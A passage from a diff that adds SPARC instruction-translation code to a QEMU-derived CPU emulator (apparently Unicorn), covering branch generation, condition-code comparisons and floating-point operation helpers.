fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_and_tl(tcg_ctx, dst, dst, t0); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); + tcg_temp_free(tcg_ctx, t0); +} + +static inline void gen_branch2(DisasContext *dc, target_ulong pc1, + target_ulong pc2, TCGv r_cond) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + int l1; + + l1 = gen_new_label(tcg_ctx); + + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, r_cond, 0, l1); + + gen_goto_tb(dc, 0, pc1, pc1 + 4); + + gen_set_label(tcg_ctx, l1); + gen_goto_tb(dc, 1, pc2, pc2 + 4); +} + +static inline void gen_branch_a(DisasContext *dc, target_ulong pc1, + target_ulong pc2, TCGv r_cond) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + int l1; + + l1 = gen_new_label(tcg_ctx); + + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, r_cond, 0, l1); + + gen_goto_tb(dc, 0, pc2, pc1); + + gen_set_label(tcg_ctx, l1); + gen_goto_tb(dc, 1, pc2 + 4, pc2 + 8); +} + +static inline void gen_generic_branch(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv npc0 = tcg_const_tl(tcg_ctx, dc->jump_pc[0]); + TCGv npc1 = tcg_const_tl(tcg_ctx, dc->jump_pc[1]); + TCGv zero = tcg_const_tl(tcg_ctx, 0); + + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, *(TCGv *)tcg_ctx->cpu_npc, *(TCGv *)tcg_ctx->cpu_cond, zero, npc0, npc1); + + tcg_temp_free(tcg_ctx, npc0); + tcg_temp_free(tcg_ctx, npc1); + tcg_temp_free(tcg_ctx, zero); +} + +/* call this function before using the condition register as it may + have been set for a jump */ +static inline void flush_cond(DisasContext *dc) +{ + if (dc->npc == JUMP_PC) { + gen_generic_branch(dc); + dc->npc = DYNAMIC_PC; + } +} + +static inline void save_npc(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (dc->npc == JUMP_PC) { + gen_generic_branch(dc); + dc->npc = DYNAMIC_PC; + } else if (dc->npc != DYNAMIC_PC) { + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_npc, dc->npc); + } +} + +static inline void update_psr(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (dc->cc_op != CC_OP_FLAGS) { + dc->cc_op = CC_OP_FLAGS; + gen_helper_compute_psr(tcg_ctx, tcg_ctx->cpu_env); + } +} + +static inline void save_state(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, dc->pc); + save_npc(dc); +} + +static inline void gen_mov_pc_npc(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (dc->npc == JUMP_PC) { + gen_generic_branch(dc); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc); + dc->pc = DYNAMIC_PC; + } else if (dc->npc == DYNAMIC_PC) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc); + dc->pc = DYNAMIC_PC; + } else { + dc->pc = dc->npc; + } +} + +static inline void gen_op_next_insn(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc); + tcg_gen_addi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_npc, *(TCGv *)tcg_ctx->cpu_npc, 4); +} + +static void free_compare(TCGContext *tcg_ctx, DisasCompare *cmp) +{ + if (!cmp->g1) { + tcg_temp_free(tcg_ctx, cmp->c1); + } + if (!cmp->g2) { + tcg_temp_free(tcg_ctx, cmp->c2); + } +} + +static void gen_compare(DisasContext *dc, DisasCompare *cmp, bool xcc, unsigned int cond) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + static int subcc_cond[16] = { + TCG_COND_NEVER, + TCG_COND_EQ, + TCG_COND_LE, + TCG_COND_LT, + TCG_COND_LEU, + TCG_COND_LTU, + -1, /* neg */ + -1, /* overflow */ + TCG_COND_ALWAYS, + TCG_COND_NE, + TCG_COND_GT, + TCG_COND_GE, + TCG_COND_GTU, + TCG_COND_GEU, + -1, /* pos */ + -1, /* no overflow */ + }; + + static int logic_cond[16] = { + TCG_COND_NEVER, + TCG_COND_EQ, /* eq: Z */ + TCG_COND_LE, /* le: Z | (N ^ V) -> Z | N */ + TCG_COND_LT, /* lt: N ^ V -> N */ + TCG_COND_EQ, /* leu: C | Z -> Z */ + TCG_COND_NEVER, /* ltu: C -> 0 */ + TCG_COND_LT, /* neg: N */ + TCG_COND_NEVER, /* vs: V -> 0 */ + TCG_COND_ALWAYS, + TCG_COND_NE, /* ne: !Z */ + TCG_COND_GT, /* gt: !(Z | (N ^ V)) -> !(Z | N) */ + TCG_COND_GE, /* ge: !(N ^ V) -> !N */ + TCG_COND_NE, /* gtu: !(C | Z) -> !Z */ + TCG_COND_ALWAYS, /* geu: !C -> 1 */ + TCG_COND_GE, /* pos: !N */ + TCG_COND_ALWAYS, /* vc: !V -> 1 */ + }; + + TCGv_i32 r_src; + TCGv r_dst; + +#ifdef TARGET_SPARC64 + if (xcc) { + r_src = tcg_ctx->cpu_xcc; + } else { + r_src = tcg_ctx->cpu_psr; + } +#else + r_src = tcg_ctx->cpu_psr; +#endif + + switch (dc->cc_op) { + case CC_OP_LOGIC: + cmp->cond = logic_cond[cond]; + do_compare_dst_0: + cmp->is_bool = false; + cmp->g2 = false; + cmp->c2 = tcg_const_tl(tcg_ctx, 0); +#ifdef TARGET_SPARC64 + if (!xcc) { + cmp->g1 = false; + cmp->c1 = tcg_temp_new(tcg_ctx); + tcg_gen_ext32s_tl(tcg_ctx, cmp->c1, *(TCGv *)tcg_ctx->cpu_cc_dst); + break; + } +#endif + cmp->g1 = true; + cmp->c1 = *(TCGv *)tcg_ctx->cpu_cc_dst; + break; + + case CC_OP_SUB: + switch (cond) { + case 6: /* neg */ + case 14: /* pos */ + cmp->cond = (cond == 6 ? TCG_COND_LT : TCG_COND_GE); + goto do_compare_dst_0; + + case 7: /* overflow */ + case 15: /* !overflow */ + goto do_dynamic; + + default: + cmp->cond = subcc_cond[cond]; + cmp->is_bool = false; +#ifdef TARGET_SPARC64 + if (!xcc) { + /* Note that sign-extension works for unsigned compares as + long as both operands are sign-extended. */ + cmp->g1 = cmp->g2 = false; + cmp->c1 = tcg_temp_new(tcg_ctx); + cmp->c2 = tcg_temp_new(tcg_ctx); + tcg_gen_ext32s_tl(tcg_ctx, cmp->c1, *(TCGv *)tcg_ctx->cpu_cc_src); + tcg_gen_ext32s_tl(tcg_ctx, cmp->c2, *(TCGv *)tcg_ctx->cpu_cc_src2); + break; + } +#endif + cmp->g1 = cmp->g2 = true; + cmp->c1 = *(TCGv *)tcg_ctx->cpu_cc_src; + cmp->c2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + break; + } + break; + + default: + do_dynamic: + gen_helper_compute_psr(tcg_ctx, tcg_ctx->cpu_env); + dc->cc_op = CC_OP_FLAGS; + /* FALLTHRU */ + + case CC_OP_FLAGS: + /* We're going to generate a boolean result. */ + cmp->cond = TCG_COND_NE; + cmp->is_bool = true; + cmp->g1 = cmp->g2 = false; + cmp->c1 = r_dst = tcg_temp_new(tcg_ctx); + cmp->c2 = tcg_const_tl(tcg_ctx, 0); + + switch (cond) { + case 0x0: + gen_op_eval_bn(dc, r_dst); + break; + case 0x1: + gen_op_eval_be(dc, r_dst, r_src); + break; + case 0x2: + gen_op_eval_ble(dc, r_dst, r_src); + break; + case 0x3: + gen_op_eval_bl(dc, r_dst, r_src); + break; + case 0x4: + gen_op_eval_bleu(dc, r_dst, r_src); + break; + case 0x5: + gen_op_eval_bcs(dc, r_dst, r_src); + break; + case 0x6: + gen_op_eval_bneg(dc, r_dst, r_src); + break; + case 0x7: + gen_op_eval_bvs(dc, r_dst, r_src); + break; + case 0x8: + gen_op_eval_ba(dc, r_dst); + break; + case 0x9: + gen_op_eval_bne(dc, r_dst, r_src); + break; + case 0xa: + gen_op_eval_bg(dc, r_dst, r_src); + break; + case 0xb: + gen_op_eval_bge(dc, r_dst, r_src); + break; + case 0xc: + gen_op_eval_bgu(dc, r_dst, r_src); + break; + case 0xd: + gen_op_eval_bcc(dc, r_dst, r_src); + break; + case 0xe: + gen_op_eval_bpos(dc, r_dst, r_src); + break; + case 0xf: + gen_op_eval_bvc(dc, r_dst, r_src); + break; + } + break; + } +} + +static void gen_fcompare(DisasContext *dc, DisasCompare *cmp, unsigned int cc, unsigned int cond) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + unsigned int offset; + TCGv r_dst; + + /* For now we still generate a straight boolean result. */ + cmp->cond = TCG_COND_NE; + cmp->is_bool = true; + cmp->g1 = cmp->g2 = false; + cmp->c1 = r_dst = tcg_temp_new(tcg_ctx); + cmp->c2 = tcg_const_tl(tcg_ctx, 0); + + switch (cc) { + default: + case 0x0: + offset = 0; + break; + case 0x1: + offset = 32 - 10; + break; + case 0x2: + offset = 34 - 10; + break; + case 0x3: + offset = 36 - 10; + break; + } + + switch (cond) { + case 0x0: + gen_op_eval_bn(dc, r_dst); + break; + case 0x1: + gen_op_eval_fbne(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0x2: + gen_op_eval_fblg(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0x3: + gen_op_eval_fbul(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0x4: + gen_op_eval_fbl(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0x5: + gen_op_eval_fbug(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0x6: + gen_op_eval_fbg(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0x7: + gen_op_eval_fbu(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0x8: + gen_op_eval_ba(dc, r_dst); + break; + case 0x9: + gen_op_eval_fbe(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0xa: + gen_op_eval_fbue(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0xb: + gen_op_eval_fbge(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0xc: + gen_op_eval_fbuge(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0xd: + gen_op_eval_fble(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0xe: + gen_op_eval_fbule(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + case 0xf: + gen_op_eval_fbo(dc, r_dst, *(TCGv *)tcg_ctx->cpu_fsr, offset); + break; + } +} + +static void gen_cond(DisasContext *dc, TCGv r_dst, unsigned int cc, unsigned int cond) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + DisasCompare cmp; + gen_compare(dc, &cmp, cc, cond); + + /* The interface is to return a boolean in r_dst. */ + if (cmp.is_bool) { + tcg_gen_mov_tl(tcg_ctx, r_dst, cmp.c1); + } else { + tcg_gen_setcond_tl(tcg_ctx, cmp.cond, r_dst, cmp.c1, cmp.c2); + } + + free_compare(tcg_ctx, &cmp); +} + +static void gen_fcond(DisasContext *dc, TCGv r_dst, unsigned int cc, unsigned int cond) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + DisasCompare cmp; + gen_fcompare(dc, &cmp, cc, cond); + + /* The interface is to return a boolean in r_dst. */ + if (cmp.is_bool) { + tcg_gen_mov_tl(tcg_ctx, r_dst, cmp.c1); + } else { + tcg_gen_setcond_tl(tcg_ctx, cmp.cond, r_dst, cmp.c1, cmp.c2); + } + + free_compare(tcg_ctx, &cmp); +} + +#ifdef TARGET_SPARC64 +// Inverted logic +static const int gen_tcg_cond_reg[8] = { + -1, + TCG_COND_NE, + TCG_COND_GT, + TCG_COND_GE, + -1, + TCG_COND_EQ, + TCG_COND_LE, + TCG_COND_LT, +}; + +static void gen_compare_reg(DisasContext *dc, DisasCompare *cmp, int cond, TCGv r_src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + cmp->cond = tcg_invert_cond(gen_tcg_cond_reg[cond]); + cmp->is_bool = false; + cmp->g1 = true; + cmp->g2 = false; + cmp->c1 = r_src; + cmp->c2 = tcg_const_tl(tcg_ctx, 0); +} + +static inline void gen_cond_reg(DisasContext *dc, TCGv r_dst, int cond, TCGv r_src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + DisasCompare cmp; + gen_compare_reg(dc, &cmp, cond, r_src); + + /* The interface is to return a boolean in r_dst. */ + tcg_gen_setcond_tl(tcg_ctx, cmp.cond, r_dst, cmp.c1, cmp.c2); + + free_compare(tcg_ctx, &cmp); +} +#endif + +static void do_branch(DisasContext *dc, int32_t offset, uint32_t insn, int cc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + unsigned int cond = GET_FIELD(insn, 3, 6), a = (insn & (1 << 29)); + target_ulong target = dc->pc + offset; + +#ifdef TARGET_SPARC64 + if (unlikely(AM_CHECK(dc))) { + target &= 0xffffffffULL; + } +#endif + if (cond == 0x0) { + /* unconditional not taken */ + if (a) { + dc->pc = dc->npc + 4; + dc->npc = dc->pc + 4; + } else { + dc->pc = dc->npc; + dc->npc = dc->pc + 4; + } + } else if (cond == 0x8) { + /* unconditional taken */ + if (a) { + dc->pc = target; + dc->npc = dc->pc + 4; + } else { + dc->pc = dc->npc; + dc->npc = target; + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc); + } + } else { + flush_cond(dc); + gen_cond(dc, *(TCGv *)tcg_ctx->cpu_cond, cc, cond); + if (a) { + gen_branch_a(dc, target, dc->npc, *(TCGv *)tcg_ctx->cpu_cond); + dc->is_br = 1; + } else { + dc->pc = dc->npc; + dc->jump_pc[0] = target; + if (unlikely(dc->npc == DYNAMIC_PC)) { + dc->jump_pc[1] = DYNAMIC_PC; + tcg_gen_addi_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc, 4); + } else { + dc->jump_pc[1] = dc->npc + 4; + dc->npc = JUMP_PC; + } + } + } +} + +static void do_fbranch(DisasContext *dc, int32_t offset, uint32_t insn, int cc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + unsigned int cond = GET_FIELD(insn, 3, 6), a = (insn & (1 << 29)); + target_ulong target = dc->pc + offset; + +#ifdef TARGET_SPARC64 + if (unlikely(AM_CHECK(dc))) { + target &= 0xffffffffULL; + } +#endif + if (cond == 0x0) { + /* unconditional not taken */ + if (a) { + dc->pc = dc->npc + 4; + dc->npc = dc->pc + 4; + } else { + dc->pc = dc->npc; + dc->npc = dc->pc + 4; + } + } else if (cond == 0x8) { + /* unconditional taken */ + if (a) { + dc->pc = target; + dc->npc = dc->pc + 4; + } else { + dc->pc = dc->npc; + dc->npc = target; + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc); + } + } else { + flush_cond(dc); + gen_fcond(dc, *(TCGv *)tcg_ctx->cpu_cond, cc, cond); + if (a) { + gen_branch_a(dc, target, dc->npc, *(TCGv *)tcg_ctx->cpu_cond); + dc->is_br = 1; + } else { + dc->pc = dc->npc; + dc->jump_pc[0] = target; + if (unlikely(dc->npc == DYNAMIC_PC)) { + dc->jump_pc[1] = DYNAMIC_PC; + tcg_gen_addi_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc, 4); + } else { + dc->jump_pc[1] = dc->npc + 4; + dc->npc = JUMP_PC; + } + } + } +} + +#ifdef TARGET_SPARC64 +static void do_branch_reg(DisasContext *dc, int32_t offset, uint32_t insn, + TCGv r_reg) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + unsigned int cond = GET_FIELD_SP(insn, 25, 27), a = (insn & (1 << 29)); + target_ulong target = dc->pc + offset; + + if (unlikely(AM_CHECK(dc))) { + target &= 0xffffffffULL; + } + flush_cond(dc); + gen_cond_reg(dc, *(TCGv *)tcg_ctx->cpu_cond, cond, r_reg); + if (a) { + gen_branch_a(dc, target, dc->npc, *(TCGv *)tcg_ctx->cpu_cond); + dc->is_br = 1; + } else { + dc->pc = dc->npc; + dc->jump_pc[0] = target; + if (unlikely(dc->npc == DYNAMIC_PC)) { + dc->jump_pc[1] = DYNAMIC_PC; + tcg_gen_addi_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, *(TCGv *)tcg_ctx->cpu_npc, 4); + } else { + dc->jump_pc[1] = dc->npc + 4; + dc->npc = JUMP_PC; + } + } +} + +static inline void gen_op_fcmps(DisasContext *dc, int fccno, TCGv_i32 r_rs1, TCGv_i32 r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + switch (fccno) { + case 0: + gen_helper_fcmps(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 1: + gen_helper_fcmps_fcc1(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 2: + gen_helper_fcmps_fcc2(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 3: + gen_helper_fcmps_fcc3(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + } +} + +static inline void gen_op_fcmpd(DisasContext *dc, int fccno, TCGv_i64 r_rs1, TCGv_i64 r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + switch (fccno) { + case 0: + gen_helper_fcmpd(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 1: + gen_helper_fcmpd_fcc1(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 2: + gen_helper_fcmpd_fcc2(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 3: + gen_helper_fcmpd_fcc3(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + } +} + +static inline void gen_op_fcmpq(DisasContext *dc, int fccno) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + switch (fccno) { + case 0: + gen_helper_fcmpq(tcg_ctx, tcg_ctx->cpu_env); + break; + case 1: + gen_helper_fcmpq_fcc1(tcg_ctx, tcg_ctx->cpu_env); + break; + case 2: + gen_helper_fcmpq_fcc2(tcg_ctx, tcg_ctx->cpu_env); + break; + case 3: + gen_helper_fcmpq_fcc3(tcg_ctx, tcg_ctx->cpu_env); + break; + } +} + +static inline void gen_op_fcmpes(DisasContext *dc, int fccno, TCGv_i32 r_rs1, TCGv_i32 r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + switch (fccno) { + case 0: + gen_helper_fcmpes(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 1: + gen_helper_fcmpes_fcc1(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 2: + gen_helper_fcmpes_fcc2(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 3: + gen_helper_fcmpes_fcc3(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + } +} + +static inline void gen_op_fcmped(DisasContext *dc, int fccno, TCGv_i64 r_rs1, TCGv_i64 r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + switch (fccno) { + case 0: + gen_helper_fcmped(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 1: + gen_helper_fcmped_fcc1(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 2: + gen_helper_fcmped_fcc2(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + case 3: + gen_helper_fcmped_fcc3(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); + break; + } +} + +static inline void gen_op_fcmpeq(DisasContext *dc, int fccno) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + switch (fccno) { + case 0: + gen_helper_fcmpeq(tcg_ctx, tcg_ctx->cpu_env); + break; + case 1: + gen_helper_fcmpeq_fcc1(tcg_ctx, tcg_ctx->cpu_env); + break; + case 2: + gen_helper_fcmpeq_fcc2(tcg_ctx, tcg_ctx->cpu_env); + break; + case 3: + gen_helper_fcmpeq_fcc3(tcg_ctx, tcg_ctx->cpu_env); + break; + } +} + +#else + +static inline void gen_op_fcmps(DisasContext *dc, int fccno, TCGv r_rs1, TCGv r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_helper_fcmps(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); +} + +static inline void gen_op_fcmpd(DisasContext *dc, int fccno, TCGv_i64 r_rs1, TCGv_i64 r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_helper_fcmpd(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); +} + +static inline void gen_op_fcmpq(DisasContext *dc, int fccno) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_helper_fcmpq(tcg_ctx, tcg_ctx->cpu_env); +} + +static inline void gen_op_fcmpes(DisasContext *dc, int fccno, TCGv r_rs1, TCGv r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_helper_fcmpes(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); +} + +static inline void gen_op_fcmped(DisasContext *dc, int fccno, TCGv_i64 r_rs1, TCGv_i64 r_rs2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_helper_fcmped(tcg_ctx, tcg_ctx->cpu_env, r_rs1, r_rs2); +} + +static inline void gen_op_fcmpeq(DisasContext *dc, int fccno) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_helper_fcmpeq(tcg_ctx, tcg_ctx->cpu_env); +} +#endif + +static inline void gen_op_fpexception_im(DisasContext *dc, int fsr_flags) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_const; + + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_fsr, *(TCGv *)tcg_ctx->cpu_fsr, FSR_FTT_NMASK); + tcg_gen_ori_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_fsr, *(TCGv *)tcg_ctx->cpu_fsr, fsr_flags); + r_const = tcg_const_i32(tcg_ctx, TT_FP_EXCP); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); +} + +static int gen_trap_ifnofpu(DisasContext *dc) +{ +#if !defined(CONFIG_USER_ONLY) + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (!dc->fpu_enabled) { + TCGv_i32 r_const; + + save_state(dc); + r_const = tcg_const_i32(tcg_ctx, TT_NFPU_INSN); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + dc->is_br = 1; + return 1; + } +#endif + return 0; +} + +static inline void gen_op_clear_ieee_excp_and_FTT(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_fsr, *(TCGv *)tcg_ctx->cpu_fsr, FSR_FTT_CEXC_NMASK); +} + +static inline void gen_fop_FF(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i32, TCGv_ptr, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 dst, src; + + src = gen_load_fpr_F(dc, rs); + dst = gen_dest_fpr_F(dc); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src); + + gen_store_fpr_F(dc, rd, dst); +} + +static inline void gen_ne_fop_FF(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i32, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 dst, src; + + src = gen_load_fpr_F(dc, rs); + dst = gen_dest_fpr_F(dc); + + gen(tcg_ctx, dst, src); + + gen_store_fpr_F(dc, rd, dst); +} + +static inline void gen_fop_FFF(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_i32, TCGv_ptr, TCGv_i32, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 dst, src1, src2; + + src1 = gen_load_fpr_F(dc, rs1); + src2 = gen_load_fpr_F(dc, rs2); + dst = gen_dest_fpr_F(dc); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src1, src2); + + gen_store_fpr_F(dc, rd, dst); +} + +#ifdef TARGET_SPARC64 +static inline void gen_ne_fop_FFF(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_i32, TCGv_i32, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 dst, src1, src2; + + src1 = gen_load_fpr_F(dc, rs1); + src2 = gen_load_fpr_F(dc, rs2); + dst = gen_dest_fpr_F(dc); + + gen(tcg_ctx, dst, src1, src2); + + gen_store_fpr_F(dc, rd, dst); +} +#endif + +static inline void gen_fop_DD(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_ptr, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst, src; + + src = gen_load_fpr_D(dc, rs); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src); + + gen_store_fpr_D(dc, rd, dst); +} + +#ifdef TARGET_SPARC64 +static inline void gen_ne_fop_DD(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst, src; + + src = gen_load_fpr_D(dc, rs); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, src); + + gen_store_fpr_D(dc, rd, dst); +} +#endif + +static inline void gen_fop_DDD(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_ptr, TCGv_i64, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst, src1, src2; + + src1 = gen_load_fpr_D(dc, rs1); + src2 = gen_load_fpr_D(dc, rs2); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src1, src2); + + gen_store_fpr_D(dc, rd, dst); +} + +#ifdef TARGET_SPARC64 +static inline void gen_ne_fop_DDD(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_i64, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst, src1, src2; + + src1 = gen_load_fpr_D(dc, rs1); + src2 = gen_load_fpr_D(dc, rs2); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, src1, src2); + + gen_store_fpr_D(dc, rd, dst); +} + +static inline void gen_gsr_fop_DDD(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_i64, TCGv_i64, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst, src1, src2; + + src1 = gen_load_fpr_D(dc, rs1); + src2 = gen_load_fpr_D(dc, rs2); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_gsr, src1, src2); + + gen_store_fpr_D(dc, rd, dst); +} + +static inline void gen_ne_fop_DDDD(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_i64, TCGv_i64, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst, src0, src1, src2; + + src1 = gen_load_fpr_D(dc, rs1); + src2 = gen_load_fpr_D(dc, rs2); + src0 = gen_load_fpr_D(dc, rd); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, src0, src1, src2); + + gen_store_fpr_D(dc, rd, dst); +} +#endif + +static inline void gen_fop_QQ(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_ptr)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_op_load_fpr_QT1(dc, QFPREG(rs)); + + gen(tcg_ctx, tcg_ctx->cpu_env); + + gen_op_store_QT0_fpr(dc, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); +} + +#ifdef TARGET_SPARC64 +static 